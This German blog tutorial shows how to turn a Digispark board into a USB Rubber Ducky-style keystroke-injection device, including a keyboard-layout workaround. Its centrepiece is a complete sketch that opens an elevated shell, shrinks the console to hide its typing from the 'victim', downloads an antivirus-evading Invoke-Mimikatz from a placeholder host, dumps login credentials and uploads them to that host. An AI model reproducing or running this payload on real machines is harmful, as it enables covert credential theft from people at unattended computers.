Digispark – die USB Rubber Ducky Alternative (Teil2)

Im ersten Teil dieses Tutorials wurde gezeigt, wie man eine “Enwicklungsumgebung” für die Mikrocontroller-Entwicklungsplatine Digispark unter Windows einrichtet. Nun wollen wir die kleine Platine für Penetrationstests einsetzen.

Derzeit ist eine Header-Datei verfügbar, die alle Tastenkombinationen und Befehle enthält. Leider wird derzeit nur eine US-Tastatur unterstützt. Um die Platine für den deutschspachigen Raum nutzbar zu machen, kann man aber einen kleinen Trick anwenden.

Die zur Verfügung stehende Skriptsprache unterscheidet sich zwar etwas vom Duckyscript, ist aber ähnlich leicht zu verstehen und einzusetzen. Hier einige wichtige Befehle:

Tasten- und Tastenkombinationen:
DigiKeyboard.sendKeyStroke(KEY_V)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT)
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT | MOD_SHIFT_LEFT)
DigiKeyboard.sendKeyStroke(KEY_DELETE, MOD_ALT_RIGHT | MOD_CONTROL_LEFT)

Eingabe von Zeichenketten:
DigiKeyboard.println(“mspaint”)

Verzögerungen in Millisekunden:
DigiKeyboard.delay(5000)

Um zu zeigen, dass man die Digispark-Platine ähnlich wie ein Rubber Ducky einsetzen kann, greifen wir nochmal den “15 Sekunden Passwort-Hack” aus einem früheren Beitrag auf. Hier hatten wir mit Hilfe von Mimikatz das Login-Passwort aus einem PC ausgelesen und an einen Webserver übermittelt.

Das dort erstellte Skript lässt sich ebenso für die Digispark-Platine umsetzen, wenn wir das Problem mit dem Tastaturlayout lösen können.

Natürlich könnte man die Header-Datei so anpassen, dass andere Tastaturlayouts nutzbar wären. Ich habe mich aber für eine einfachere Lösung entschieden. Dazu installiert man auf dem Testsystem (also einem Windows APC oder Notebook) zusätzliche eine englische Tastatur (US-Keyboard). Ab jetzt ist man “zweisprachig” unterwegs, was das Tastaturlayout betrifft.

Die Tastenkombinationen, z.B. zum Aufrufen bestimmter Befehle, sind oftmals gleich und damit nicht das eigentliche Problem. Die Zeichenketten in der “DigiKeyboard.println-Anweisung” können aber unterschiedlich ausfallen. Dies soll folgendes Beispiel verdeutlichen:

Im Duckyscript wird in Zeile 13 der Befehl “STRING mode con:cols=18 lines=1” verwendet, um die Windows-Eingabeaufforderung zu verkleinern und damit dem “Opfer” das Sichtfeld auf die eingegebenen Zeichen zu verkleinern. Später werden zusätzlich die Hintergrund- und Zeichenfarben verändert.

Umgesetzt in eine  “println-Anweisung” würde dies wie folgt aussehen:

DigiKeyboard.println("mode con:cols=18 lines=1");
									

Man wird aber schnell feststellen, dass diese Anweisung auf einem Zielsystem mit einer deutschen Tastatur, falsch wiedergegeben wird. Um dies zu umgehen, stellen wir  die Tastatur auf der “Entwicklungsumgebung”  auf “Englisch (USA)” um und geben die gleiche Zeichenkette nochmals ein. Dies sieht dann so aus:

DigiKeyboard.println("mode con>cols)18 lines)1");
									

Der so eingegebene Befehl wird später auf dem Zielsystem über die deutsche Tastatur richtig ausgegeben und ausgeführt. Vorstellbar ist, dass somit auch andere Tastaturlayouts (z.B. schwedisch, niederländisch, italienisch usw.) nutzbar sind, ohne die Header-Datei anzupassen.

Das fertige Skript könnte so aussehen:

[code]
#include “DigiKeyboard.h”

void setup()
{
pinMode(1, OUTPUT); //LED on Model A
}

void loop()
{
DigiKeyboard.update();
// DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); //minimize all windows
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
DigiKeyboard.delay(500);
DigiKeyboard.println(“powershell Start/Process cmd /Verb runAs”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_J, MOD_ALT_LEFT); // ALT-J
DigiKeyboard.delay(1000);
DigiKeyboard.println(“mode con>cols)18 lines)1”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.println(“powershell @IEX *New/Object Net.WebClient(.DownloadString*|http>&&evil.xxxx.de&im.ps1|(< $output ) Invoke/Pill /DumpCreds< *New/Object Net.WebClient(.UploadString*|http>&&evil.xxxx.de&rx.php|, $output(@”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
digitalWrite(1, HIGH); //turn on led when program finishes
DigiKeyboard.delay(2000);
digitalWrite(1, LOW);
DigiKeyboard.println(“exit”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(15000);
}

[/code]

Kernstück bildet dabei die “println-Anweisung”  im unteren Drittel. Hier wird das Powershell-Skript vom Webserver heruntergeladen, ausgeführt und das Ergebnis wieder an den Webserver übertragen. Hier sind natürlich die Einstellungen so anzupassen, dass sie der eigenen Umgebung entsprechen. Zugegeben – auch der Quellcode der Skriptdatei Invoke-Mimikatz wurde ein wenig verändert, um die Erkennung durch Virenschutzprogramme  zu erschweren.

Am Ende des Skriptes sind zusätzliche Anweisungen eingefügt, die ein LED aufleuchten lassen, sobald das Programm beendet ist. Dies zeigt das nachfolgende Video.

7 Gedanken zu „Digispark – die USB Rubber Ducky Alternative (Teil2)“

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.

Diese Seite verwendet Cookies, um die Nutzerfreundlichkeit zu verbessern. Mit der weiteren Verwendung stimmst du dem zu.

Datenschutzerklärung